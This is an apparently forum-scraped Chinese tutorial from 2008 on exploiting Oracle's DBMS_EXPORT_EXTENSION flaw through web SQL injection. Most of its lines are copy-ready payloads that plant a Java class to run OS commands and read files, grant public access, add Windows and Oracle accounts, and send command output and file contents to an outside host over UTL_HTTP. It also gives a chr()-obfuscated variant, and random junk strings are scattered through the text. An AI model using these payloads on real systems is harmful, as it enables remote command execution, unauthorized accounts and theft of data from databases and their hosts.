以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
* j) W' a& x" F" X
5 s9 `, d9 [2 `2 y: z /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
3 F! T* K" w5 B o" b1 `的形式即可。(用" 'a'|| "是为了让语句返回true值) ) D1 x6 G5 p. U6 k" X8 u
语句有点长,可能要用post提交。
5 b1 z- i( O$ G: ]' f以下是各个步骤: # [8 ]: q* U5 F6 E( X/ O
1.创建包
, o9 m5 N3 F$ K" M3 ~) n5 ?通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:' Y, {8 e2 ^# q
/xxx.jsp?id=1 and '1'<>'a'||(
5 Q/ I; h1 p' jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 Q& u' {3 M8 K/ i+ u2 Rcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(# t* ]5 L5 w7 v' n: \3 d; `
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}* z; a! r7 _+ p
}'''';END;'';END;--','SYS',0,'1',0) from dual % z0 |! B1 S- h7 a- S7 L
)
! D; F" N3 H9 L/ F2 i, n4 t------------------------
' z" b3 _0 x9 w, ^+ v如果url有长度限制,可以把readFile()函数块去掉,即:
4 Y/ |( Z, x! g" Y5 t1 E/xxx.jsp?id=1 and '1'<>'a'||( $ y3 m! ^* w. f0 S) B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 o s8 h$ L1 e& ?: L5 n: A/ Gcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
" g" E& L) ~) d! f% V: t0 [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}( j4 ^+ a4 \7 h+ E
}'''';END;'';END;--','SYS',0,'1',0) from dual : W& g* D4 v5 t) R' G v0 E
)
9 E6 S( ]' J, A8 F: D同时把后面步骤 提到的 对readFile()的处理语句去掉。 : i; I( J4 T% y! r5 y+ W# E9 s
------------------------------
/ k! V, c" y9 d$ a( G+ k2.赋Java权限
8 A! [1 h; N9 R, k- ~8 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual3 F3 Q2 {: B c1 V$ w; b! l
3.创建函数 4 A D! q# F ?7 w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ h V1 F6 P7 a8 P8 v2 ?0 s: screate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
0 t5 U7 K4 B* Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; i6 D& B4 x8 l& \8 [create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
7 L( B& A" I x) i4.赋public执行函数的权限 ' c* @+ j/ G' t) p2 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
& r9 Y9 o' u, m5 \- j8 g5 @! [# r' oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
2 w! ?8 r) x% w8 g' @: ^( ?5.测试上面的几步是否成功 ) l* t" x* l! g, M' i- b/ X6 N) k; a' G
and '1'<>'11'||( 4 D, e( k5 f! w) `0 y8 P& u6 t
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ; [, h# b4 ~# d- ]& \4 x; o! }; d' ~
)
2 k% M. ?$ {0 E9 Q, M, @and '1'<>(
' I" B9 a$ a6 `0 F8 Uselect OBJECT_ID from all_objects where object_name ='LINXREADFILE' ; k2 ^2 ?6 ^; W1 ]
)
5 @6 i7 ]1 u. ]0 {) N) _2 {6.执行命令:
8 s' O/ ^0 S: c% C0 T/xxx.jsp?id=1 and '1'<>(
7 G# p5 Y" d0 L1 F3 Nselect sys.LinxRunCMD('cmd /c net user linx /add') from dual ! ?2 d8 K2 U2 x) c4 A0 \
0 L7 |% Q$ f/ l/ n) k `$ c
) , i: a5 b; Z2 D5 w3 c ~6 E
/xxx.jsp?id=1 and '1'<>( 0 [( B# y' b. l; u
select sys.LinxReadFile('c:/boot.ini') from dual# V. m) j; w0 j- a7 M, P3 X
: u& c, P- w: g( A& a3 ?
)
6 f5 g8 m# t# @: m5 T* l 6 |* ^7 t: T) |5 x
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
: j$ m) @& F3 E; w. E+ ?$ ~4 l( V如果要查看运行结果可以用 union : 4 ~7 K( ~; g: R7 Z- Z
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
, @- t2 B8 ~3 R6 x! `或者UTL_HTTP.request(: / E C" Z; V; @0 l
/xxx.jsp?id=1 and '1'<>( 6 a+ s d3 u% w o
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
& @6 w6 r' w& F* R/ z& A)
$ w% M) p. E) x) q/xxx.jsp?id=1 and '1'<>(
7 v. R" q5 M' w+ Y3 J6 jSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
y) J6 B0 \2 M0 V j* {( D)
8 s( C7 J3 v. m4 N; ]注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
- m. r# j; j N, C8 a' J9 s6 K--------------------
* @/ x% y$ b/ G9 b6.内部变化
; [9 e j' p5 v) d7 z' s# Y通过以下命令可以查看all_objects表达改变: 1 ^1 g' y; g: D+ w6 M" F6 T$ e
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
3 B" H, m' E+ B; }. _. U- k ]( ~7.删除我们创建的函数 2 {& |" q! k% C# J2 R5 _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 U# x1 i% k6 b: i2 t) e s8 T
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual . J# f4 k/ x' q# {- e V; b
==================================================== ) U( Q( s# D+ [4 s1 f
全文结束。谨以此文赠与我的朋友。 , d( f/ F2 C% d1 d
linx
" W* N. \ k: Y3 ?/ {124829445 $ M c- n) N& H' q( q
2008.1.12
: f$ t+ C0 @- Y m5 alinyujian@bjfu.edu.cn , Y& E( P; V7 J! O
====================================================================== / d! l1 h" J& c! A* T$ U. V( V9 @- ]2 Y
测试漏洞的另一方法:
3 M- B' @. e; H0 a创建oracle帐号: & i- g0 T$ o) I3 g7 y" i# q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 Y' v/ q% b# K P+ J8 X+ W7 P: iCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
+ ?6 U" ?+ A6 q9 d- m即: : L! ]) v' k' h# m) T4 Q% z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," V* _2 G; y, @# G
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
' U( |6 |0 o0 C/ u) m/ _确定漏洞存在:
+ c# Q! H- H( J1 l! N$ y/ z1<>(
8 P8 {8 J9 @ _( b! oselect user_id from all_users where username='LINXSQL'
% {( h1 H$ W3 H$ m ^ B) : ~& y8 W; P6 Q9 G; s2 P
给linxsql连接权限:
* q9 i8 ?9 r; I- ]' k; Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' P' X. z9 a5 |( t6 h
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 1 o& Z0 [' y3 Q2 o6 e
删除帐号:
4 Q* H- U( X, _3 N; ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 Z( A" {$ U6 `+ O% g1 |* U2 {drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual , @' {/ j: v& z8 L" i
====================== ! C8 u: M* q; T$ X
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
8 B8 Z/ z; u: N! W5 X' P1.jsp?id=1 and '1'<>(
8 D7 z5 p! O" L/ h2 R6 Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ E2 P+ ]/ O) d6 X5 Ocreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual) c' E% |5 U+ ~; r
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
0 w7 D6 d# Z) p7 S0 A3 Y! _ )
4 i& E2 @4 E3 l* H1 i" N" c# N4 w& f2 s! Z' ~" }" ^
" U2 F5 d6 z) x, `4 n$ ]. o. u9 K+ w
, M3 K4 L: w* X' k; ?, x8 w# X |